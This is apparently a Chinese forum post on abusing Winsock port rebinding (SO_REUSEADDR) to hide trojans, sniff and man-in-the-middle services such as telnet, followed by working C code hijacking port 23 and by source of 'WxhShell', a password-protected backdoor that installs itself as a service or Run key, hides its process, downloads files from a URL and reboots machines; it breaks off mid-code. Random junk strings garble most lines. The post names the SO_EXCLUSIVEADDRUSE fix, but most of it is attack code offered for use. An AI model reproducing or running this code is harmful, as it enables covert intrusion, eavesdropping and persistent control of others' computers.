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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W;=Ae~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kd!?N  
@k h<b<a4  
  saddr.sin_family = AF_INET; oDu6W9+  
%H\J@{f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }NyQ<,+mq&  
u$^tRz9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WN=0s  
0D2I)E72o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dh8'og)7  
siI%6Gn;  
  这意味着什么?意味着可以进行如下的攻击: `WXlq#:K  
h-1?c\Qq:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =3(Auchl$Y  
F^bY]\-5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {*B0lr`  
C^L xuUW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g|]HS4y  
\Aro Sy9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y(QFf*J  
2%fIe   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2lsUCQI;  
hm73Zy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RV  V`  
i:aW .QZ.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v5'`iO0o  
G*+^b'7  
  #include T%)E!:}v  
  #include {>1FZsR49t  
  #include ?v M9 !  
  #include    ecs 0iW-,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +`GtZnt#  
  int main() 1X5g(B  
  {  <EU R:  
  WORD wVersionRequested; ^C'0Y.H S  
  DWORD ret; 8-x-?7  
  WSADATA wsaData; L_Gw:"-+Q  
  BOOL val; 70 7( LG  
  SOCKADDR_IN saddr; op9dYjG7  
  SOCKADDR_IN scaddr; b*?u+tWP_  
  int err; ?p@J7{a  
  SOCKET s; `5@F'tKQ  
  SOCKET sc; K{ar)_V/  
  int caddsize; .c-a$39  
  HANDLE mt; &$/ #"lW,V  
  DWORD tid;   <v0`r2^S{-  
  wVersionRequested = MAKEWORD( 2, 2 ); RX>P-vp  
  err = WSAStartup( wVersionRequested, &wsaData ); 0uDDaFS  
  if ( err != 0 ) { #gV n7wq  
  printf("error!WSAStartup failed!\n"); I2*rtVAP'j  
  return -1; zw+aZDcV(  
  } >E+g.5 ,:W  
  saddr.sin_family = AF_INET; W#<1504ip  
   7m-%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _aPAn|.  
=lJ ?yuc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "wOfs$w%s  
  saddr.sin_port = htons(23); 4`#Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uem-fTG  
  { ).5 X  
  printf("error!socket failed!\n"); NV4g5)D&L  
  return -1; tsc `u>  
  } >l &]Ho  
  val = TRUE; Y'|,vG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y+ze`pL?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [oTe8^@[  
  { !G;u )7'v  
  printf("error!setsockopt failed!\n"); {o24A: M  
  return -1; ^-Od*DTL  
  } .}!.4J%q2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7_i8'(``  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kb?{^\FiU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~'_cBJ 'XD  
;yJ:W8U]+;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o]oiJvOr  
  { &+2l#3}  
  ret=GetLastError(); ,_3hbT8Q  
  printf("error!bind failed!\n"); _Ub `\ytx  
  return -1; !e|\1v'0  
  } !B3TLe h  
  listen(s,2); R(~wSL*R>  
  while(1) H\S)a FY[  
  { lDYgt UKG  
  caddsize = sizeof(scaddr); [7v|bd  
  //接受连接请求 5^Qa8yA>7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lv 8EfN  
  if(sc!=INVALID_SOCKET) _HUbE /  
  { C[^V\?3ly:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /IpCo  
  if(mt==NULL) ;>?h/tS6  
  { Ki;SONSV~|  
  printf("Thread Creat Failed!\n"); -x//@8"   
  break; /WTEz\k  
  } O]u'7nO{{  
  } "Q.*  
  CloseHandle(mt); R_PF*q2 '  
  } 5Kg'&B (  
  closesocket(s); @oAz  
  WSACleanup(); SB\%"nnV  
  return 0; vamZKm~p  
  }   ~gfR1SE  
  DWORD WINAPI ClientThread(LPVOID lpParam) >c,s}HJ  
  { 'Z`7/I4&  
  SOCKET ss = (SOCKET)lpParam; y"JR kJ  
  SOCKET sc; <>3)S`C`p  
  unsigned char buf[4096]; IO+]^nY `  
  SOCKADDR_IN saddr; qNEp3WY:  
  long num; "bo0O7InOV  
  DWORD val; o:@Q1+p  
  DWORD ret; Urr%SIakvM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L|'^P3#7`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >pU9}2fpT  
  saddr.sin_family = AF_INET; $O%{l.-O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nYyhQX~]B  
  saddr.sin_port = htons(23); UPh#YV 0/,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bU! v  
  { cl~Yx 4  
  printf("error!socket failed!\n"); n"(!v7YNp  
  return -1; P=94  
  } s\ -,RQ1  
  val = 100; .9jKD*U|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z]G|)16  
  { s*izhjjX  
  ret = GetLastError(); 0* $w(*  
  return -1; ?%s>a8w  
  } @?3f`l 9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LIZB!S@V\  
  { 3 t,_{9  
  ret = GetLastError(); ix3LB!k<  
  return -1; Zl9@E;|=  
  } L)sgW(@2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [qYr~:`-[  
  { 5>x_G#W  
  printf("error!socket connect failed!\n"); ffrIi',@  
  closesocket(sc); {OU|'  
  closesocket(ss); {a7~P0$  
  return -1; x e`^)2z  
  } vi,hWz8WB  
  while(1) 7j]v_2S`  
  { ~e{ @5.g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1 R5 pf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZwmucY%3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -#|D>  
  num = recv(ss,buf,4096,0); q A)O kR'm  
  if(num>0) cr1x CPJj  
  send(sc,buf,num,0); *T5;d h (  
  else if(num==0) *G19fJ[5  
  break; = S&`~+  
  num = recv(sc,buf,4096,0); C?<pD+]b_  
  if(num>0) Q.mJ7T~T  
  send(ss,buf,num,0); f O*jCl  
  else if(num==0) q-F K=r 5  
  break; 4qQ,1&!]S  
  } d!,t_jM0  
  closesocket(ss); U.7fMc#  
  closesocket(sc); O `}EiyV  
  return 0 ; O*EV~ {K  
  } /A=w`[<  
PVCoXOqh  
@R[{  
========================================================== JB_fS/I  
sXIYl% d  
下边附上一个代码,,WXhSHELL 7;'33Bm*  
y~SVD@  
========================================================== J +6zV m  
@A/k"Ax{r  
#include "stdafx.h" 1vj/6L  
 F!omkN  
#include <stdio.h> `9~ %6N?7#  
#include <string.h> ,WT>"9+  
#include <windows.h> }Z!D?(  
#include <winsock2.h> )g0fN+Mb  
#include <winsvc.h> {0zn~+  
#include <urlmon.h> M;(,0dk  
UiFH*HT  
#pragma comment (lib, "Ws2_32.lib") V`V\/s gj  
#pragma comment (lib, "urlmon.lib") )pnyVTKt  
+&EXTZ@o  
#define MAX_USER   100 // 最大客户端连接数 FfoOJzf~o  
#define BUF_SOCK   200 // sock buffer zsFzg.$3&  
#define KEY_BUFF   255 // 输入 buffer ;XKe$fsa~?  
*ukyQZ9  
#define REBOOT     0   // 重启 6  63o  
#define SHUTDOWN   1   // 关机  T{YZ`[  
MY&Jdmga  
#define DEF_PORT   5000 // 监听端口 Swi# ^i  
($[wCHU`!  
#define REG_LEN     16   // 注册表键长度 bF'rK'',  
#define SVC_LEN     80   // NT服务名长度 -fR :W{u  
}lJ;|kx$  
// 从dll定义API hp\&g2_S0W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NxT"A)u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [|}IS@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C* 7/iRe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {z#2gc'Q  
#/)t]&n  
// wxhshell配置信息 C8N)!5(A  
struct WSCFG { r"h;JC/&<T  
  int ws_port;         // 监听端口 [Kg b#L'{  
  char ws_passstr[REG_LEN]; // 口令 |c_qq Bd  
  int ws_autoins;       // 安装标记, 1=yes 0=no jc} G+|`  
  char ws_regname[REG_LEN]; // 注册表键名 TJ|Jv8j<s  
  char ws_svcname[REG_LEN]; // 服务名 :+rGBkw1m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7s9h:/Lu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wj|Zn+{"nF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vz{+3vfra6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?6#won  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c0!.ei  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .L'w/"O  
0YeTS!*Aj  
}; d0 cL9&~qW  
Qzi?%&  
// default Wxhshell configuration Szus*YL7  
struct WSCFG wscfg={DEF_PORT, /7Q|D sa  
    "xuhuanlingzhe", mkl{Tp*  
    1, gv#\}/->4  
    "Wxhshell", Y +gY"  
    "Wxhshell", 3a/n/_D  
            "WxhShell Service", ~E<2gMKjO  
    "Wrsky Windows CmdShell Service", d:H'[l.F%  
    "Please Input Your Password: ", wT1s;2%  
  1, 2G8pDvBr  
  "http://www.wrsky.com/wxhshell.exe", ]I*c:(qwu  
  "Wxhshell.exe" `?Rq44=  
    }; <g4}7l8  
.R9Z$Kbq  
// 消息定义模块 gL;Kie6Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4E'9;tA3l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; niVR!l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !xM5 A[f  
char *msg_ws_ext="\n\rExit."; 7*/{m K)  
char *msg_ws_end="\n\rQuit."; 5=dL`  
char *msg_ws_boot="\n\rReboot..."; I<SgKva;c  
char *msg_ws_poff="\n\rShutdown..."; k$EVr([  
char *msg_ws_down="\n\rSave to "; p6VD*PT$&  
Z6jEj9?O  
char *msg_ws_err="\n\rErr!"; *6uccx7{  
char *msg_ws_ok="\n\rOK!"; Dn- gP  
"tK%]c d-  
char ExeFile[MAX_PATH]; p7?  
int nUser = 0; vDy&sgS$<  
HANDLE handles[MAX_USER]; p7h#.m~Qu  
int OsIsNt; 'j1e(wq  
EeIDlm0o  
SERVICE_STATUS       serviceStatus; I7f ^2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L74Mz]v  
_GOSqu!3Y  
// 函数声明 {K(mfTqm  
int Install(void); IG-\&  
int Uninstall(void); 5pO|^G j1  
int DownloadFile(char *sURL, SOCKET wsh); >.h:Y5  
int Boot(int flag); ,Z. sGv  
void HideProc(void); 4 1_gak;  
int GetOsVer(void); ^5mc$~1`  
int Wxhshell(SOCKET wsl); L9x-90'q,  
void TalkWithClient(void *cs); v gN!9  
int CmdShell(SOCKET sock); n,la<N]  
int StartFromService(void); Bq0 \T 0,  
int StartWxhshell(LPSTR lpCmdLine); 4<s.|W`  
bOY;IB _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y(A' *G9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \-<BUG]=  
?J[3_!"t  
// 数据结构和表定义 ^0VL](bD>  
SERVICE_TABLE_ENTRY DispatchTable[] = |<%!9Z  
{ KKeMi@N  
{wscfg.ws_svcname, NTServiceMain}, {]vD@)k  
{NULL, NULL} \& JZ >h  
}; jDzQw>T X  
(8nv&|  
// 自我安装 ]@q%dsz  
int Install(void) xNz(LZ.c  
{ 1MelHW  
  char svExeFile[MAX_PATH]; v=`yfCX-qX  
  HKEY key; Iv`IJQH>  
  strcpy(svExeFile,ExeFile); Io6/Fv>!  
f| RmAP;X,  
// 如果是win9x系统,修改注册表设为自启动 *Cy54Z#  
if(!OsIsNt) { ^l &lwSRVt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6( HF)z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UD I{4+z  
  RegCloseKey(key); n:j'0WW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HL)!p8UHJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DA=!AK>  
  RegCloseKey(key); ~lj~]j  
  return 0; 7y=>Wa?T[  
    } ]`^! ]Ql  
  } $JE,u' JQ  
} )7q$PcY  
else { [B0 BHJ~  
jW/WG tz  
// 如果是NT以上系统,安装为系统服务 f%Q)_F[0D4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1/_g36\l$  
if (schSCManager!=0) 6r7>nU&d  
{ N(/)e  
  SC_HANDLE schService = CreateService m 0HK1'  
  ( .hTqZvDa  
  schSCManager, =w2 4(S  
  wscfg.ws_svcname, PK*Wu<<  
  wscfg.ws_svcdisp, \0$+*ejz  
  SERVICE_ALL_ACCESS, )m%uSSx#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %1z;l.c  
  SERVICE_AUTO_START, MqmQ52HR  
  SERVICE_ERROR_NORMAL, Z~'t'.=z  
  svExeFile, ,GbmL8P7Y  
  NULL,  56.!L  
  NULL, 0RR|!zEu  
  NULL, m_NX[>&Y3  
  NULL, `FHudSK  
  NULL .?>Cav9:  
  ); ldv@C6+J  
  if (schService!=0) <O#&D|EMd|  
  { ^BsT>VSH6  
  CloseServiceHandle(schService); *dBy<dIy  
  CloseServiceHandle(schSCManager); .35(MFvq!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d\z6Ob"t  
  strcat(svExeFile,wscfg.ws_svcname); =j7Du[?Vu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (f/(q-7VWt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); obb%@S`  
  RegCloseKey(key); kUT2/3Vi  
  return 0; K;K0D@>]HR  
    } 6Yai?*.Q  
  } {UNH?2  
  CloseServiceHandle(schSCManager); Pwh}hG1s a  
} D:P(;  
} Xfiwblg  
js$R^P  
return 1; }1a}pm2p  
} os V6=  
SX4*804a_  
// 自我卸载 "ubp`7%67  
int Uninstall(void) Y;'<u\^M"  
{ Z)!8a$M~  
  HKEY key; i'Y8-})  
=NB[jQ :(  
if(!OsIsNt) { U-|]A\`)I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ly0R'4j \  
  RegDeleteValue(key,wscfg.ws_regname); ;hj lRQ\  
  RegCloseKey(key); R'BB-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :e<jD_.X  
  RegDeleteValue(key,wscfg.ws_regname); MU<(O}  
  RegCloseKey(key); c3]t"TA,  
  return 0; 0R x#Fm  
  }  ?kjQ_K  
} g 9,"u_  
} F^,:p.ihm<  
else { {3Inj8a=?A  
1U\ap{z@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]#0 (  
if (schSCManager!=0) ?m7:@GOE1  
{ l 9K`+c+t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZL|aB886  
  if (schService!=0) wMS%/l0p1  
  { !'f7;%7s  
  if(DeleteService(schService)!=0) { q4ROuE|d  
  CloseServiceHandle(schService); @ @[xTyA  
  CloseServiceHandle(schSCManager); ^eW<-n@^  
  return 0; BabaKSm}LP  
  } y-<.l=6A  
  CloseServiceHandle(schService); Nd8>p.iqO  
  } CKAd\L   
  CloseServiceHandle(schSCManager); 8/e-?2l  
} EQ%ooAb8  
} 7x)Pt@c  
jAJ='|[X\  
return 1; cILS  
} 3Z*r#d$nh:  
fA=Z):w  
// 从指定url下载文件 9QQ XB-  
int DownloadFile(char *sURL, SOCKET wsh) Xv1vq -cM  
{ m*^)#  
  HRESULT hr; 7_~ A*LM  
char seps[]= "/"; i)#-VOhX)  
char *token; 2 6#p,P  
char *file; y3~=8!Tj?Q  
char myURL[MAX_PATH]; b6k`R4S3  
char myFILE[MAX_PATH]; o78u>Oy  
sn"((BsO<  
strcpy(myURL,sURL); Ny^ 1#R  
  token=strtok(myURL,seps); !73y(Y%TE  
  while(token!=NULL) *g5bdQ:Av~  
  { ~${~To8$CW  
    file=token; hHJiGVJ=V  
  token=strtok(NULL,seps); T zL|{9  
  } 0O3O^ 0  
Q-x>yau"  
GetCurrentDirectory(MAX_PATH,myFILE); #XQ/y}(  
strcat(myFILE, "\\"); gL<n?FG4b  
strcat(myFILE, file); qu B[S)2}  
  send(wsh,myFILE,strlen(myFILE),0); 5 -i,Tx&:  
send(wsh,"...",3,0); !h? HfpYv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~J\qkQ  
  if(hr==S_OK) _8G w Mj  
return 0; bBIh}aDN  
else G'|ql5Zw  
return 1; {Y~>&B5  
W3:j Z:  
} aoy Be|H~=  
{4_s:+v0  
// 系统电源模块 i6Z7O )V  
int Boot(int flag) V?XQjH1X  
{ ?Q:SVxzUd  
  HANDLE hToken; mTe3%( LD  
  TOKEN_PRIVILEGES tkp; "ESc^28  
}rQQe:{]B  
  if(OsIsNt) { 8D.c."q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]B>76?2W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A f'&, 1=q  
    tkp.PrivilegeCount = 1; ~5 6&!4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SZGR9/* ^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BX_yC=S  
if(flag==REBOOT) { ns~]a:1yh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]zx%"SUM  
  return 0; h@RpS8!Bi  
} ^ITF*  
else { Sk{skvd;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bPVk5G*ruP  
  return 0; d(IJ-qJ N  
} i l^;2`]&  
  } qU26i"GHp  
  else { v_KO xV:<`  
if(flag==REBOOT) { e!6yxL*[@[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ebA95v`Vms  
  return 0; $+j1^  
} suEK;Bk9  
else { Nu7>G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &S4*x|-C&  
  return 0; '$FF/|{  
} ] SJ#:7  
} XG|N$~N+2  
} =OE.cf@  
return 1; [8T{=+k  
} Y`~B> J  
]I|(/+}M  
// win9x进程隐藏模块 8 a]'G)(ts  
void HideProc(void) sVx}(J  
{ #mV2VIX#Jv  
fkI 5~Y|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fd[N]I3  
  if ( hKernel != NULL ) )tG. 9"<  
  { Q`F1t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k;\gYb%L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *)K\&h<{  
    FreeLibrary(hKernel); 1L,L/sOwB&  
  } R-%6v2;ry  
$0$sM/%  
return; !Cgj >=  
} um%_kX  
5L3+KkX@  
// 获取操作系统版本 ^PEw#.WG  
int GetOsVer(void) "Z&.m..gc  
{ v,i|:;G  
  OSVERSIONINFO winfo; 4jXo5SkEJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W>#yXg9  
  GetVersionEx(&winfo); gqS9{K(f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0+SDFh  
  return 1; tWn dAM(U7  
  else nI6 gd%C  
  return 0; +q&Hj|;8r  
} SnE^\I^O  
?^voA.Bv<  
// 客户端句柄模块 \%<M[r=  
int Wxhshell(SOCKET wsl) >'4A[$$4mM  
{ uZ6krI  
  SOCKET wsh; C8K2F5c5  
  struct sockaddr_in client; v+LJx    
  DWORD myID; `X<B+:>v-  
)- W1Wtom  
  while(nUser<MAX_USER) #gbB// <  
{ d-b04Q7DQ  
  int nSize=sizeof(client); t@!n?j I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s|p I`  
  if(wsh==INVALID_SOCKET) return 1; X,Na4~JO(  
6+$2rS$1V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rpKZ>S|7+)  
if(handles[nUser]==0) 5{'hsC  
  closesocket(wsh); n#+EG3  
else ?4':~;~  
  nUser++; ZA="Dac  
  } ? Ek)" l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Na91K4r#  
O|H:  
  return 0; L('1NN 2  
} ) lUS'I  
'?C6P5fm  
// 关闭 socket [[|#}D:L  
void CloseIt(SOCKET wsh) ~kZdep^]  
{ D1rVgM  
closesocket(wsh); rxyv+@~Nc  
nUser--; vh\i ^  
ExitThread(0); p{Q6g>?[  
} ko@ej^  
}StzhV{GS  
// 客户端请求句柄 P}4&J ^  
void TalkWithClient(void *cs) mn@1&#c4y  
{ uZ?P{E,K  
( eKgc  
  SOCKET wsh=(SOCKET)cs; _^FC 9  
  char pwd[SVC_LEN]; _=$~l^Y[  
  char cmd[KEY_BUFF]; 5Od%Jhtt  
char chr[1]; +0Q   
int i,j; +JErc)%  
r<0E[ ~  
  while (nUser < MAX_USER) { kgo#JY-4  
>SXSrXyYX  
if(wscfg.ws_passstr) { k>ErD v8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b/_Zw^DPC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Moo WG  
  //ZeroMemory(pwd,KEY_BUFF); \9[vi +T  
      i=0; eDpi0htm  
  while(i<SVC_LEN) { htB7 j(  
+;W%v7 %<  
  // 设置超时 Gj?Zbl <  
  fd_set FdRead; =n,;S W  
  struct timeval TimeOut; OG}890$n  
  FD_ZERO(&FdRead); x;[ .ZzQ  
  FD_SET(wsh,&FdRead); n~629&  
  TimeOut.tv_sec=8; d.+*o  
  TimeOut.tv_usec=0; PtkMzhX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \d"\7SA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zbnxs.i!  
9p8ajlYg,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^8&}Nk[j  
  pwd=chr[0]; P8m0]T.&x  
  if(chr[0]==0xd || chr[0]==0xa) { UIEvwQ  
  pwd=0; /<-PW9X?  
  break; !*v% s  
  } OH@"]Nc~  
  i++; 44e]sT.B  
    } ZFLmD|q#{  
Iynks,ikA  
  // 如果是非法用户,关闭 socket 2BC!,e$Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qlcd[Y*B  
} ~DD _n  
"]"0d[d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kZF]BPh.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VV Q~;{L  
Fizrsr 6%  
while(1) { ^\v]Ltd  
p&Qb&nWk<  
  ZeroMemory(cmd,KEY_BUFF); .OJG o<#$f  
0se%|Z|8  
      // 自动支持客户端 telnet标准   F/2cQ .u2  
  j=0; tz]0F5  
  while(j<KEY_BUFF) { r $S9/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `p\%ha!,w  
  cmd[j]=chr[0]; /D"T\KNWr  
  if(chr[0]==0xa || chr[0]==0xd) { im*sSz 0 (  
  cmd[j]=0; 7=fM}sk  
  break; "\*)KH`C  
  } a>GA=r  
  j++; 3.YH7rN  
    } | +;ZC y  
DG;u_6;JR  
  // 下载文件 :kHk'.V1(  
  if(strstr(cmd,"http://")) { lH3.q4D 5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gxd/t#;  
  if(DownloadFile(cmd,wsh)) `&NFl'l1C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v.W!  
  else "5eD >!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lB27Z}   
  } oI -Fr0!  
  else { W_XFTqp^  
(m1m}* @  
    switch(cmd[0]) { wA{) 9.  
  W^elzN(  
  // 帮助 D&m1yl@\J  
  case '?': { dFg&|Lp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {b-C,J  
    break; 6Y[&1c8  
  } s>;"bzzq  
  // 安装 oRd{?I&NY  
  case 'i': { >*!T`P}p  
    if(Install()) @Xoh@:j\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~jw:4sG  
    else No\#N/1@P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (&m1*  
    break; 5tv*uz|fv  
    } GYw/KT~$  
  // 卸载 u|23M,  
  case 'r': { 8!v|`Ky  
    if(Uninstall()) `x=kb;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ybJa:  
    else ,;6%s>Cvd(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I&|8 qx#  
    break; 7eq.UyUxs  
    } 3wN4kltt  
  // 显示 wxhshell 所在路径 CH+%q+I  
  case 'p': { hak#Iz0[C  
    char svExeFile[MAX_PATH]; g{DOQA  
    strcpy(svExeFile,"\n\r"); =pe O %  
      strcat(svExeFile,ExeFile); 9I 6^-m@:  
        send(wsh,svExeFile,strlen(svExeFile),0); "^t7]=q  
    break; 4oF,;o+v\4  
    } 36'J9h\  
  // 重启 rKPsv*w  
  case 'b': { }c/#WA|b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QPVr:+\B{  
    if(Boot(REBOOT)) 8;=?F>]xn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=2.0QmW  
    else { |\B\IPs{%'  
    closesocket(wsh); |QzJHP @  
